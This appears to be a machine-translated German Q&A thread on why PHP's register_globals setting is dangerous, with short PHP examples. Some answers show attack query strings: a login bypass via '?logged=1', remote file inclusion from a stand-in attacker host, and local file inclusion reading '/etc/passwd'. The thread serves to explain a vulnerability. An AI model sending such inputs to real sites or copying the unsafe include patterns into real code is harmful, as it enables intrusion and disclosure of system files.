2009-09-13 14 views

Antwort

12

REGISTER_GLOBALS bedeutet, dass alle über GET oder POST übergebenen Variablen als globale Variablen in Ihrem Skript verfügbar sind. Da der Zugriff auf nicht deklarierte Variablen kein Fehler in PHP ist (es ist eine Warnung), kann dies zu sehr unangenehmen Situationen führen. Betrachten Sie diese, zum Beispiel:

<?php 
// $debug = true; 
if ($debug) { 
    echo "query: $query\n"; 
} 

Es ist keine schlechte Sache per se (ausgereiftes Code keine Warnungen erzeugen sollte deshalb keine Variablen zugreifen sollte, die nicht deklariert werden könnten (und sollten nicht NotwendigkeitREGISTER_GLOBALS für die gleichen Grund)), aber PHP-Code ist in der Regel [sehr] geringe Qualität, was zu dieser Art von Sicherheitslücken führt.

+21

"PHP-Code ist in der Regel [sehr] niedrige Qualität" - sprechen in der Regel für sich selbst – OIS

+5

= immer!. Aber ich würde Ihnen empfehlen, die Quelle einiger Open-Source-CMS zu durchsuchen. Sie werden mehr 'eval()', 'eregeplace()' und 'REGISTER_GLOBALS' finden, als Sie vielleicht erwarten.Hinweis: Ich bin selbst ein PHP-Entwickler. – soulmerge

+0

Der Versuch, nicht definierte Variablen zu lesen, ist unangenehm. Sie hätten dieses Problem nicht mit '$ debug = false;'. – Gumbo

2

Da es dem Benutzer ermöglicht, jede globale Variable in Ihrem Code ohne jede Kontrolle zu injizieren.

Aufgrund der Qualität des Codes kann es zu größeren Sicherheitsfehlern kommen.

9

Durch die Aktivierung von REGISTER_GLOBALS werden Webseiten, die von PHP bereitgestellt werden, Schwachstellen zugänglich gemacht, die von einigen bösen Jungs gerne ausgenutzt werden.

Mit ihm ermöglicht, jedem Abfrage-String am Ende der URL:

http://yourdomain/something.php?valid=true 

den Wert eines Variablen $ gültig (zum Beispiel) in something.php beeinflussen, wenn es existiert.

Wenn Sie öffentlich verfügbaren PHP-Code (z. B. eine Bibliothek) verwenden, sind die Namen der Variablen bekannt, und Hacker könnten ihre Werte durch Zuweisung von Werten im Abfrage-String steuern. Sie können möglicherweise die Authentifizierung umgehen.

Auch wenn Sie keinen öffentlichen Code verwenden, können Sie möglicherweise die Namen wichtiger Variablen erraten und deren Werte steuern.

Es verwendet die Standardeinstellung sein REGISTER_GLOBALS in PHP.INI

Aktuelle Praxis zu deaktivieren wurde standardmäßig aktiviert sein. Aktivieren Sie es auf eigene Gefahr!

3

einfach hinzuzufügen, hier sind einige Situationen, in denen mit REGISTER_GLOBALS den Tag verderben aktiviert könnten:

<?php 
$logged = User::getLogged(); 
if ($logged) 
{ 
    include '/important/secret.php'; 
} 
?> 

Sender:

Mit dem Query-String-Zugriffskontrolle umgehen (Hack http://example.com/?logged=1 verwenden) Dateieinschluss (RFI):

<?php 
    //http://example.com/?path=http://evilbadthings.example.com/ 
    include "$path"; 
?> 

Local File Inclusion (LFI):

<?php 
    //http://example.com/?path=../../../../etc/passwd 
    include "$path"; 
?> 
+10

Ihr erstes Beispiel ist nicht kompromittiert, da der Wert von '$ logged' durch den Rückgabewert von' User :: getLogged' definiert ist. – Gumbo

Verwandte Themen